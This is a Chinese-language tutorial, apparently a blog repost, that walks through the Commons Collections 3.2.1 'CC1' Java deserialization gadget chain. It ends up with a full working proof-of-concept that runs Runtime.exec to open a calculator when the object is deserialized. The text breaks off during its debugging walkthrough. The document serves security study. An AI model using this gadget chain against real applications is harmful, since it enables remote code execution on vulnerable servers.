CC1链_全网最菜的分析思路

news2024/11/15 16:49:21

文章目录

  • 1 你必须知道的点
    • 1.1 反序列化利用链的起点是readObject()方法
    • 1.2 回顾反射执行系统命令
    • 1.3 相关类の功能简单介绍
      • 1.3.1 InvokerTransformer类
      • 1.3.2 ChainedTransformer类
      • 1.3.3 ConstantTransformer类
      • 1.3.4 总结一下上述3个类调用`transform()`方法的不同
  • 2 CC1链的环境准备
    • 2.1 版本问题
    • 2.2 搭建项目
  • 3 CC1链分析
    • 3.1 InvokerTransformer#transform方法
    • 3.2 TransformedMap#checkSetValue方法
      • 3.2.1 valueTransformer的获取
      • 3.2.2 checkSetValue方法的调用
        • 3.2.2.1 传入的“value”是什么?
        • 3.2.2.2 setValue怎么调用?
        • 3.2.2.3 “parent”怎么获取?
  • 4 动态调试
    • 4.1 进入反序列化readObject()
    • 4.2 遍历TransformedMap(memberValues)
    • 4.3 拿到TransformedMap(memberValues)的第一个entry后的代码
    • 4.4 进入利用链触发点【核心逻辑】
      • `4.4.1 memberValue.setValue()`
      • `4.4.2 checkSetValue()`
      • 4.4.3 ChainedTransformer.transform()
        • 4.4.3.1 ConstantTransformer.transform()
        • 4.4.3.2 InvokerTransformer.transform()
        • 4.4.3.3 InvokerTransformer.transform()
        • 4.4.3.4 InvokerTransformer.transform()
        • 4.4.3.5 代码执行
  • 5 总结
    • 5.1 涉及的各个对象的属性值
    • 5.2 不同Transformer对象调用不同transformer()方法
    • 5.3 恶意代码触发的方法调用链
    • 5.4 为什么new ConstantTransformer(Runtime.class)的transformer可以解决了 runtime对象无法传入的问题
  • 6 参考链接

1 你必须知道的点

1.1 反序列化利用链的起点是readObject()方法

Java的序列化机制允许将对象的状态保存到一个字节流中,之后可以从这个字节流中恢复(或“反序列化”)出对象。这个过程中,ObjectInputStream类负责读取这些字节流,并尝试根据包含的类型信息重新创建对象。为了支持复杂对象和自定义类型,Java提供了自定义反序列化过程的能力,这通常通过重写readObject()方法来实现。

也就是说我们可以通过在将要被序列化或反序列化的类中定义readObject方法,来实现自定义的反序列化操作,当然前提是,被序列化的类必须有此方法,并且方法的修饰符必须是private。

序列化则自定义writeObject方法。

ObjectInputStream读取到一个可序列化的对象时,如果该类定义了readObject()方法,则会调用该方法来完成反序列化过程。因此,如果readObject()方法中存在不安全或未经验证的代码(如直接反序列化用户控制的数据),那么就会执行内部的代码,那么它就可能成为反序列化利用链的起点。

一句话总结就是:如果一个类自定义了readObject()方法,则该类在反序列化时就会调用该方法完成反序列化过程,如果该方法中存在“恶意代码”,也会执行。所以,自定义了readObject()方法的类就是我们寻找的入口点。


反序列化利用链形象比喻一下~

  • eadObject为反序列化入口点。
  • 些方法存在命令执行的可能性。
  • 反序列化利用链就是需要将readObject及存在命令执行的方法联系在一起。
  • 就像走迷宫,readObject为入口,存在命令执行的方法为出口,从入口到出口就形成了一条链(利用链)。
  • 我们在找链的时候,就可以从两个方面找,从入口或者出口找,或者两头并进。

1.2 回顾反射执行系统命令

直接执行命令:

String[] command = {"open","-a","/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
Runtime.getRuntime().exec(command);

反射执行命令:

Class clazz = Runtime.class;
Method getRuntime = clazz.getDeclaredMethod("getRuntime", null);
Runtime runtime = (Runtime)getRuntime.invoke(null, null);
runtime.exec("open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator");

1.3 相关类の功能简单介绍

提前了解下,后面分析时不晕!!

1.3.1 InvokerTransformer类

  • InvokerTransformer类在实例化时,赋值iMethodName、iParamTypes和iArgs。
  • 使用InvokerTransformer对象调用transform()方法,会以反射的方式执行任意方法。

举个例子:

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);


上述内容,相当于执行了:

Runtime runtime = Runtime.getRuntime();
// invokerTransformer.transform()内部执行了
Class cls = runtime.getClass();
Method method = cls.getMethod("exec", new Class[]{String.class});
return method.invoke(runtime, new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});

会通过反射方式执行弹出计算器操作。

1.3.2 ChainedTransformer类

  • ChainedTransformer类在实例化时,会传入Transformer[]数组,并将值transformers赋值给iTransformers
  • 使用ChainedTransformer对象调用transform()方法,会挨个执行transformers数组元素transformertransform()方法,其参数为传入的object对象。
  • 也就是说,单独执行transformer.transform()和将transformer放入数组中执行ChainedTransformer.transform()效果是一样的。
  • 还有一个非常重要的点:每次循环获得的object会当做参数传给下一个transform(),也就是数组中的transformer是有前后联系的,不是单独的。

1.3.3 ConstantTransformer类

  • ConstantTransformer类在实例化时,会传入一个对象赋值给iConstant属性。
  • ConstantTransformer对象调用transform()方法时,不管传入什么,都将返回一个固定的值,即实例化时传入的对象,即iConstant属性值。

1.3.4 总结一下上述3个类调用transform()方法的不同

上述3个类都实现了Transformer接口,并都重写了transform()方法,因此在调用transform()方法时,会有不同的执行结果。

并且上述3个类都实现了Serializable接口,可被序列化和反序列化。

InvokerTransformer.transform()

  • 以反射方式执行任意方法

ChainedTransformer.transform()

  • 遍历链内部的所有Transformer执行transform()
  • 前一个执行transform()的结果当做后一个transform()方法的参数传入

ConstantTransformer.transform()

  • 返回固定值,值为构造方法传入的参数值

2 CC1链的环境准备

2.1 版本问题

CC1链主要利用的是Apache Commons Collections 3.2.1版本中的一个反序列化漏洞。

CC1链在JDK 8u71及之后的版本中被修复,因此需要使用JDK 8u71之前的版本

JDK下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

这里选择了JDK 8u66

2.2 搭建项目

1)创建一个mevan项目,JDK选择8u66

2)pom.xml添加commons-collections 3.2.1

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

3)准备JDK源码,方便调试

下载地址:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载解压之后将文件中的sun目录(具体路径为jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes)放入JDK 8u66的家目录下。

然后在项目中的SDKs中配置sun目录为Classpath,如图。

3 CC1链分析

3.1 InvokerTransformer#transform方法

先定位到InvokerTransformer#transform方法。

为什么要定位到这里?因为这个方法是CC1的执行恶意命令的位置。

前辈们怎么发现的这里?(猜测:)用的多了就发现了…(这里就是前面所说的迷宫的出口)。

可以发现transform方法,接收一个Object参数,然后对该Object通过反射获取其类对象,然后获取其方法对象,之后invoke调用该方法。涉及的核心代码为59-61行,如下:

这里明显就是通过反射调用传递进来的对象的某个方法来执行~

这里面涉及到几个参数

  • this.iMethodName:反射使用的方法名(方法名)
  • this.iParamTypes:反射使用的方法的参数类型列表(参数类型)
  • this.iArgs:被调用方法的参数列表(参数值)

这几个参数都是this.开头的,所以是由该类InvokerTransformer的构造函数赋予其值的。

找一下构造函数:

有了这些,我们就可以简单写一下利用代码:(来打开本地计算器)

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"}
);
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);

这里是可以执行命令的,但是这样还不行,因为我们最终需要找到readObject()方法处,也就是反序列时执行readObject()方法,进而自动执行transform()方法才行。

也就是:后面的代码不能使用invokerTransformer.transform(runtime);方式调用transform了。

接下来需要找一下哪个位置有调用transform()方法:选中方法,右击-“Find Usages”可查看方法的调用情况

📌这里有个小坑:如果“Find Usages”查询不到,需要将commons-collections 3.2.1的sources包下载下来,如果下载不了,可以手动下载导入。

我们需要寻找不同名字调用的transform() 方法,如果是transform 再调用 transform 是没有意义的(无限循环了),因为我们最后的目标是要回到readObject() 中。

这里看到TransformedMap中有部分方法调用了transform()方法,点进去看一看,以checkSetValue方法为例:

3.2 TransformedMap#checkSetValue方法

这里有两个问题需要解决:

  • 1)checkSetValue方法是protected修饰的,无法直接调用,需要找到调用该方法的位置
  • 2)方法中是valueTransformer调用的transform()方法,所以需要知道valueTransformer怎么来的

也就是:如果能够调用checkSetValue方法,并且存在valueTransformer,transform()会自动触发。

3.2.1 valueTransformer的获取

我们先解决第2个问题,找一下valueTransformer怎么来的:

Ctrl+左键找到valueTransformer的赋值位置

是TransformedMap的构造方法赋值的,但是该方法是protected修饰

问题又来了,既然是protected修饰的,那如何实例化TransformedMap的?这里肯定有别的方式调用了该构造方法(protected修饰:只有同一个包中的类可以访问)。那就找一下,在当前类中搜索一下

发现存在一个静态方法decorate()实例化了TransformedMap,触发构造方法。

好!那么简单的流程就出来了:

  • 调用decorate静态方法→TransformedMap实例化→触发TransformedMap构造方法→valueTransformer的赋值

接下来,看一下decorate()方法的参数需要什么:1个Map,2个Transformer。

  • 其中decorate()方法的第3个参数比较重要,因为第三个参数赋值给了this.valueTransformer,valueTransformer去调用了transform方法,这里和之前的代码联系起来,即之前写的invokerTransformer.transform(runtime);能够触发执行恶意代码,因此这里第3个参数的值也就明了了,即传入invokerTransformer,这样最终还会执行invokerTransformer.transform(runtime);这段代码。
  • map传递给了父类,跟下去会发现,不能为空,那就随便创建一个Map传进去。
  • 第1个Transformer还不知道具体作用,先传入null,后面用到再说。

那我们可以将之前的利用代码修改如下:

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"}
);
Runtime runtime = Runtime.getRuntime();
// invokerTransformer.transform(runtime);  // 这里不能再用了(前面有原因介绍)
Map map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// 到此还不行,仅仅调用decorate只是给valueTransformer赋了值,transform还没有被触发
// 想触发transform,需要调用checkSetValue(由3.1中最后一张图可知)

问题:decorate方法的第3个参数为什么传递要进入InvokerTransformer实例

  • 第1:decorate方法的第3个参数为valueTransformer,valueTransformer的值是Transformer类型,而InvokerTransformer实现了Transformer接口,所以InvokerTransformer实例化出来的对象也属于Transformer类型,因此InvokerTransformer实例符合此处的类型。
  • 第2:第3个参数valueTransformer最终是调用了transform方法,即传入InvokerTransformer,会执行invokerTransformer.transform(runtime);进而能够出发恶意代码

3.2.2 checkSetValue方法的调用

同样,回到TransformedMap类,通过Find Usages查看一下checkSetValue方法的调用

只有一个结果,即在AbstractInputCheckedMapDecorator.MapEntry#setValue中有调用

可以看到,要想控制checkSetValue()方法的调用,需要控制setValue()方法调用,包含value值的传入,并且需要一个“parent”。

  • setValue怎么调用?
  • 传入的“value”是什么?
  • “parent”怎么获取?
3.2.2.1 传入的“value”是什么?

从前面的一路追溯下来,这个传入的“value”,最终会作为参数传递给transform()方法。

传入的过程如下,这里用A代表该值

setValue(A)-->checkSetValue(A)-->transform(A)

所以这里还是传入runtime,才能执行恶意代码。

3.2.2.2 setValue怎么调用?

这里有两个思路:

  1. 创建对象来调用
  2. 搜索setValue方法的调用栈

根据链子要求,第一种方式“创建对象来调用”不符合要求,因为这样不会涉及到readObject()。不过没关系,先用第一种方式试一下,目的是为了测试调用setValue()会不会触发最后的命令执行。

  • 当然,答案是可以的!这部分也可以忽略不看,但建议看一下帮助理解。

1)创建对象的方式调用setValue()方法

先分析一下过程:

想调用checkSetValue方法,需要调用AbstractInputCheckedMapDecorator内部类MapEntry对象的setValue()方法;

怎么才能调用该setValue()方法呢?

需要有一个MapEntry对象,怎么得到这个对象?

通过搜索 new MapEntry,发现需要EntrySetIterator对象的next()方法

EntrySetIterator对象怎么来?实例化呗!

同样搜索new EntrySetIterator,发现需要EntrySet对象的iterator()方法

EntrySet对象怎么来?实例化呗!

同样搜索new EntrySet,发现需要AbstractInputCheckedMapDecorator对象的entrySet()方法

但是AbstractInputCheckedMapDecorator是抽象,无法实例化对象,因此需要找子类对象来调用该entrySet()方法(注意:不是子类重写的entrySet()方法,这是不一样的)。

Ctrl+左键点下AbstractInputCheckedMapDecorator类查看下:

发现这里有一个子类TransformedMap(前面遇到过)。

刚好,自己写的代码中已经得到了transformedMap,直接调用即可(注意:这里不是调用TransformedMap中的entrySet(),调的还是父类的,子类调父类)

调用transformedMap.entrySet()会得到EntrySet对象

再调用iterator()方法会得到EntrySetIterator对象

再调用next()方法会得到MapEntry对象

再调用setValue()方法即会触发checkSetValue()方法的调用

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();

HashMap map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

System.out.println(transformedMap.entrySet().getClass());
System.out.println(transformedMap.entrySet().iterator().getClass());
System.out.println(transformedMap.entrySet().iterator().next().getClass());
transformedMap.entrySet().iterator().next().setValue(runtime);

哦?45行报错了,原因其实很简单,因为transformedMap调用这些方法,其实是为了遍历传入的map的元素(TransformedMap.decorate(map, null, invokerTransformer)中的map)

而在next()时发现,没有元素,所以报错了,解决方法就是put一个元素即可。修改一下代码:

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();

HashMap map = new HashMap();
 map.put("key","value"); 
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

System.out.println(transformedMap.entrySet().getClass());
System.out.println(transformedMap.entrySet().iterator().getClass());
System.out.println(transformedMap.entrySet().iterator().next().getClass());
transformedMap.entrySet().iterator().next().setValue(runtime);

执行一下,发现可以成功执行到setValue(runtime),进而触发checkSetValue()方法的调用,命令执行成功。

上面这个过程,可以使用for循环来代替(其实这里就是map的遍历过程)

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
HashMap map = new HashMap();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

//        System.out.println(transformedMap.entrySet().getClass());
//        System.out.println(transformedMap.entrySet().iterator().getClass());
//        System.out.println(transformedMap.entrySet().iterator().next().getClass());
//        transformedMap.entrySet().iterator().next().setValue(runtime);

// 上面这个过程,可以使用for循环来代替(其实这里就是map的遍历过程)
for (Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
    entry.setValue(runtime);
}

上面调用setValue是我们创建对象调的,但是还不行,咱们要找readObject,反序列化时自动调用 。

这里只是演示:调用setValue是可以执行命令的。

2)搜索setValue方法的调用栈

通过Find Usages查看一下setValue方法的调用

发现这里存在一个AnnotationInvocationHandler#readObject方法中有调用(当然还有其他的)。等等,readObject方法,并且是private修饰!?这不正式我们要找的“入口点”嘛!

也就是说,我们实例化一个AnnotationInvocationHandler对象,然后序列化之后得到字节流,然后反序列化就会执行readObject其中的代码,进而执行其中的setValue方法,形成闭环!

点进去看一下:

AnnotationInvocationHandler的构造函数中需要两个参数,一个Annotation的类,一个Map。

什么是Annotation的类?

Annotation是注解,就是我们平时用的@Override、@Test、@Target这些,而为了通用性,我们用一个jdk自带的,比如@Override。

这个Map(memberValues)比较重要,由代码可知,memberValues内部的每一个entry会被遍历出来:memberValues.entrySet(),并调用其setValue:memberValue.setValue()

但是Map和其每一个entry又有什么用?随意一个都行?还是必须是特定的?这里得说一下:

  • 代码中memberValue.setValue()setValue()不就是前面分析的MapEntry类中的setValue()嘛;
  • transformedMap.entrySet()遍历之后,执行entry.setValue(runtime);会执行恶意代码;而这里memberValues.entrySet()遍历之后,执行memberValue.setValue()。这里很明显格式是一样的。

也就是说,只需要让transformedMap等于memberValues就可以实现恶意代码执行。

怎么做呢?这里需要看一下memberValues怎么赋值的:

可以看到,是通过AnnotationInvocationHandler的构造函数赋值,所以在实例化AnnotationInvocationHandler对象时,传入transformedMap即可。

并且可以发现AnnotationInvocationHandler类没有被修饰,即default类型,所以没办法通过名称来获取,只能通过反射获取。

因此,反射这个类的示例代码大概如下:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, transformedMap);

将代码合并一下,得到:

@Test
public void test3() throws Exception {
    InvokerTransformer invokerTransformer = new InvokerTransformer(
            "exec",
            new Class[]{String.class} ,
            new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
    Runtime runtime = Runtime.getRuntime();
    
    HashMap map = new HashMap();
    map.put("key","value");
    
    Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
    
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object obj = constructor.newInstance(Override.class, transformedMap);
    
    serialize(obj);  // 序列化
    unserialize("ser1.bin");  // 反序列化
}

//序列化方法
public static void serialize(Object object) throws Exception {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
    oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
    objectInputStream.readObject();
}

上面加上了序列化和反序列测试代码,方便测试。

执行以下,发现并没有成功。

其实这里面还是有很多问题的,比如明面上可以看出来的:

  • runtime对象好像闲置了,并没有用上!

ok,不管runtime,先打个断点,调试一下~

  • 在unserialize(“ser1.bin”)处打断点进去就行,主要看反序列化过程:
  • 调试过程就不演示了,如果想看,后面有完整的调试过程。

在调试到AnnotationInvocationHandler类的readObject()方法的if (memberType != null) 处时发现进不去if语句内部,那跟别提执行内部的setValue了。

什么原因呢?很明显,因为memberType为空!

接下来分析下memberType怎么来的:

从上面看到

memberType的值和下面三行代码有关

annotationType = AnnotationType.getInstance(type);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Class<?> memberType = memberTypes.get(name);

其中type参数是AnnotationInvocationHandler构造方法传进来的,这个不就是我们代码中反序列化创建AnnotationInvocationHandler对象时写的Override.class吗!

难道和Override有关?是的!这三个语句其实就是从注解之后获取对应的属性,如果有则会进if,没有则进不去。(这里先不进去调试看了,文章后面专门整一部分调试这段代码)

而这个@Override是没有的

那换个有的,比如@Target注解,其中有个value。

改写代码如下,只是在之前的基础上把Override.class修改成了Target.class

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();

HashMap map = new HashMap();
map.put("key","value");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance( Target.class , transformedMap);

serialize(obj);
unserialize("ser1.bin");

重新调试下,看是否可行,调试下来发现,还是不行,原来memberType还是为null

再分析下,原来上面语句是通过get(name)获取,而name是我们反射实例化AnnotationInvocationHandler对象时传入的map元素的key值,而我们执行的是map.put(“key”,“value”),key值为“key”,而@Target注解中有名为“key”的属性吗?并没有,只有一个value。

所以解决方法也简单,map.put时放入一个key为“value”的即可,value任意,比如

map.put("value","I am leyilea!");

代码修改如下:

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();

HashMap map = new HashMap();
 map.put("value","I am leyilea!"); 

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);

serialize(obj);
unserialize("ser1.bin");

重新调试下,发现可以正常进入if语句,并且能够成功执行memberValue.setValue()方法。

但是这里也有些问题,memberValue.setValue()的参数是什么?我们在前面分析得知,memberValue.setValue()需要传入runtime才行,即memberValue.setValue(runtime)

而这里setValue()的参数为AnnotationTypeMismatchExceptionProxy类型对象,且不可控。

那runtime对象该怎么传进去呢?

并且还有另一个问题,大家有没有想过:(说的可能有点绕,好好理解下)

我们想传入的是 runtime对象,而我们现在是在进行反序列化的调试,想要runtime对象传递进去,肯定是在反序列化之前就进去了 ,也就是在生成对象的时候就放进去了。

那问题来了,即使我们在生成对象时放进去了,runtime对象也无法序列化,导致最终的对象也无法序列化!

所以,这个问题就是runtime对象无法被序列化!

这个其实好解决,runtime对象无法序列化,但是class可以序列化,所以可以使用反射:

  • Runtime没有实现Serializable

  • Class有实现Serializable

反射创建一个runtime对象:

// Runtime runtime = Runtime.getRuntime();
Class aClass = Runtime.class;
Method getRuntime = clazz.getDeclaredMethod("getRuntime", null);
Runtime runtime = (Runtime)getRuntime.invoke(null, null);

??? 逗我呢??? 这不还是一个runtime,还是传不进去,即使传进去了,也无法序列化!

所以得有一个方式,将上述代码在 AnnotationInvocationHandler对象序列化的时候,执行生成runtime对象,而不是提前生成!!

怎么才能在AnnotationInvocationHandler对象序列化的时候,执行上述代码呢?

还记得 InvokerTransformer 的transformer,它不就是能够执行任意方法嘛!然后返回一个invokerTransformer对象,传给TransformedMap.decorate()就能执行了 。

那我们可以将上述的代码改写一下:(忘记的可以回到前面看一下写法)

  • 注意Class aClass = Runtime.class改写不了~
Class aClass = Runtime.class;

InvokerTransformer invokerTransformer1 = new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});
Method getRuntime = (Method)invokerTransformer1.transform(aClass);

InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});
Runtime runtime = (Runtime)invokerTransformer2.transform(getRuntime);

这???不还是这样??? 发现绕不开这个runtime 对象

那我直接执行呢?把exec 执行代码的InvokerTransformer加上

Class aClass = Runtime.class;

InvokerTransformer invokerTransformer1 = new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});
Method getRuntime = (Method)invokerTransformer1.transform(aClass);

InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});
Runtime runtime = (Runtime)invokerTransformer2.transform(getRuntime);

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class} ,
        new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
invokerTransformer.transform(runtime);

上述这段代码,运行是可以执行命令的(注意:只有这段就行,不用带后面未展示的代码)

Ok!!! 运行可以执行命令,但是,这样也不行啊,transform不能自己调用啊,又回去了!!!

嘿嘿!这不就是之前的东西嘛,利用 TransformedMap.decorate!!

那这里又出现问题了?

上面一共调用了三次 transform,难道这里调用3次 TransformedMap.decorate

那这样就会得到3个transformedMap,那就需要3个AnnotationInvocationHandler对象!!!

玩犊子!!!

没关系,有救!!! 有没有发现 前面的调用有一个规律,第1个的结果是 第2个的 参数,依次都是!!!!

这刚好符合 ChainedTransformer 链式调用的特点,刚好可以改成 ChainedTransformer方式 (忘记的,回去看一看) 。

改写下代码:

  • 这里就不用执行transform()方法了,想执行也执行不了。
  • 这里只是生成一下ChainedTransformer 链
Class aClass = Runtime.class;
// 先来一个 transforms数组,整理下代码
Transformer[] TransformerArray = new Transformer[]{
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class} ,
                new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

有了这里链之后,怎么办呢?

最终是得调用transform,也就是传递进TransformedMap.decorate()中,

这里其实可以将chainedTransformer传进去,传进去之后,会调用chainedTransformer.transform() ,

这个时候,会调用ChainedTransformer的transform()方法,即遍历transform并执行不同transform的transform()方法。(ChainedTransformer类特点忘记的,回去看下咯)

OK ! 将 TransformedMap.decorate(map, null, invokerTransformer)修改成 TransformedMap.decorate(map, null, chainedTransformer)

此时的完整代码是:

Class aClass = Runtime.class;
// 先来一个 transforms数组,整理下代码
Transformer[] TransformerArray = new Transformer[]{
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class} ,
                new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

HashMap map = new HashMap();
map.put("value","I am leyilea!");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null,  chainedTransformer );

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);

serialize(obj);
unserialize("ser1.bin");

结果还是不能执行代码,很明显,上面的aClass没有用到,它需要传递给TransformerArray第一个元素的transform()方法当参数!

想这样做的话,需要有一个transform放到链中,并且输出结果必须是Runtime.class。

怎么办?

刚好有一个transform类:ConstantTransformer类,它的transform方法,可以返回一个常量,即构造ConstantTransformer对象时传入的值 。(ConstantTransformer类特点忘记的,回去看!)

OK ! 代码改写如下:

Transformer[] TransformerArray = new Transformer[]{
        // 搞定!!!!!,其实这里还间接解决了 runtime对象无法传入的问题!后面调试时分析
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class} ,
                new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
// 生成 ChainedTransformer 链
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

HashMap map = new HashMap();
map.put("value","I am leyilea!");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);

serialize(obj);
unserialize("ser1.bin");

反序列化时成功执行命令!

3.2.2.3 “parent”怎么获取?

在这里可以看到,parentMapEntry类的构造方法传入,而MapEntry类是static修饰的,为静态内部类。

那我们就看一下在哪个位置有实例化MapEntry,直接Ctrl+左键看一下,有3个位置实例化了,

3个都看一下,发现最终都到了EntrySet类,而该类的实例化在entrySet方法上。

这里实例化传入的this就是前面所说的parent,而this表示的就是调用该entrySet方法的对象,谁调用就是谁。

而要调用entrySet方法,则需要一个AbstractInputCheckedMapDecorator类的实例

但是我们发现,AbstractInputCheckedMapDecorator类时抽象类(abstract修饰)。也就是说需要其子类实例化来调用了~

可以点击一下前面的“标识”看一下子类:

发现有一个“TransformedMap”,这好像又回去了!不过没关系!这不是刚刚好,TransformedMap类的实例对象不正是前面所说的transformedMap,具体参考之前写的代码,即下面这行:

Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

也就是说,使用transformedMap去调用entrySetthis就是transformedMap对象本身,也就是我们所找的parent

4 动态调试

4.1 进入反序列化readObject()

objectInputStream.readObject()开始进入反序列化

调用AbstractInputCheckedMapDecorator()构造方法

并调用其父类AbstractMapDecorator()构造方法

返回到AbstractInputCheckedMapDecorator()

调用TransformedMap类的readObject()方法

这里没什么,其中map为“value -> I am Leyilea!”

执行AnnotationInvocationHandler类的readObject()方法

  • readObject()方法for循环前面的过程略过,不重要
  • 其中memberValues大小为1,内容为 put进入的HashMap:value

4.2 遍历TransformedMap(memberValues)

  • TransformedMap元素为HashMap:value–>I am leyilea!
  • 这里和整个利用链关系不大,可以略过(其实就是map的遍历拿entry的过程)

调用AbstractInputCheckedMapDecoratorentrySet()方法

进入EnteySet()构造函数

  • 其中parent为TransformMap:value -> I am Leyilea!

结束回到AbstractInputCheckedMapDecoratorentrySet()方法return

调用AbstractInputCheckedMapDecorator的子类MapEntryiterator()方法

进入AbstractInputCheckedMapDecorator的子类EntrySetIteratorEntrySetIterator()构造方法

进入父类AbstractIteratorDecoratorAbstractIteratorDecorator()构造方法

  • 将HashMap对象的Entryitarator对象赋值给itarator

返回到AbstractInputCheckedMapDecorator的子类EntrySetIteratorEntrySetIterator()构造方法

返回到AbstractInputCheckedMapDecorator的子类MapEntryiterator()方法

调用AbstractIteratorDecorator类的hasNext()方法

调用AbstractInputCheckedMapDecorator的子类EntrySetIteratornext()方法

进入AbstractInputCheckedMapDecorator的子类MapEntryMapEntry()构造方法

进入父类AbstractMapEntryDecorator的构造方法

  • 赋值entry

返回到AbstractInputCheckedMapDecorator的子类MapEntryMapEntry()构造方法

返回到AbstractInputCheckedMapDecorator的子类EntrySetIteratornext()方法

4.3 拿到TransformedMap(memberValues)的第一个entry后的代码

返回到AnnotationInvocationHandler类的readObject()方法的for循环内部

代码步骤如下

  • 获取entry的key:value
  • 通过key获取类型:注解类型
  • 判断类型是不是为空
